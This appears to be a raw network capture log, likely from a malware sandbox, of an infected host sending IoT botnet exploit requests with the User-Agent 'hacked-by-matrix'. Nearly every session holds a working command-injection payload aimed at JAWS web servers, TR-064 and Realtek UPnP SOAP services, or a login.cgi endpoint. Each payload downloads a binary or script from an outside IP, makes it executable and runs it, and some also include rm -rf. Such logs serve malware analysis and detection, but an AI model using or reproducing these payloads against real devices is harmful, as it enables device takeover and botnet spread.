Mar 21, 2024 05:23:07.692229986 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:15.375418901 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:30.476232052 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive

Session ID	Source IP	Source Port	Destination IP	Destination Port
840	192.168.2.13	52516	46.17.4.90	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.063360929 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:23:00.226871014 CET	406	IN	HTTP/1.1 400 Bad Request Date: Thu, 21 Mar 2024 04:23:00 GMT Server: Apache/2 Content-Length: 226 Connection: close Content-Type: text/html; charset=iso-8859-1 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 49 45 54 46 2f 2f 44 54 44 20 48 54 4d 4c 20 32 2e 30 2f 2f 45 4e 22 3e 0a 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 0a 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 0a 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0a 3c 68 31 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 0a 3c 70 3e 59 6f 75 72 20 62 72 6f 77 73 65 72 20 73 65 6e 74 20 61 20 72 65 71 75 65 73 74 20 74 68 61 74 20 74 68 69 73 20 73 65 72 76 65 72 20 63 6f 75 6c 64 20 6e 6f 74 20 75 6e 64 65 72 73 74 61 6e 64 2e 3c 62 72 20 2f 3e 0a 3c 2f 70 3e 0a 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//IETF//DTD HTML 2.0//EN"><html><head><title>400 Bad Request</title></head><body><h1>Bad Request</h1><p>Your browser sent a request that this server could not understand.<br /></p></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
841	192.168.2.13	50654	176.214.117.164	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.067385912 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:23:00.287111998 CET	197	IN	HTTP/1.1 404 Not Found Date: Thu Mar 21 07:22:59 2024 Server: tr069 http server Content-Length: 15 Connection: close Content-Type: text/plain; charset=ISO-8859-1 Data Raw: 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 0a Data Ascii: File not found

Session ID	Source IP	Source Port	Destination IP	Destination Port
842	192.168.2.13	57194	23.57.46.96	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.083559990 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:23:00.432312965 CET	430	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 208 Expires: Thu, 21 Mar 2024 04:23:00 GMT Date: Thu, 21 Mar 2024 04:23:00 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 37 34 30 31 63 30 34 35 26 23 34 36 3b 31 37 31 30 39 39 34 39 38 30 26 23 34 36 3b 34 39 35 66 65 30 63 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.7401c045.1710994980.495fe0c</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
843	192.168.2.13	34162	67.7.83.11	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.105653048 CET	722	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
844	192.168.2.13	38084	109.36.131.62	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:23:00.125852108 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:00.716242075 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:01.868236065 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:04.365659952 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
Mar 21, 2024 05:23:08.973469019 CET	975	OUT	POST /wanipcn.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>
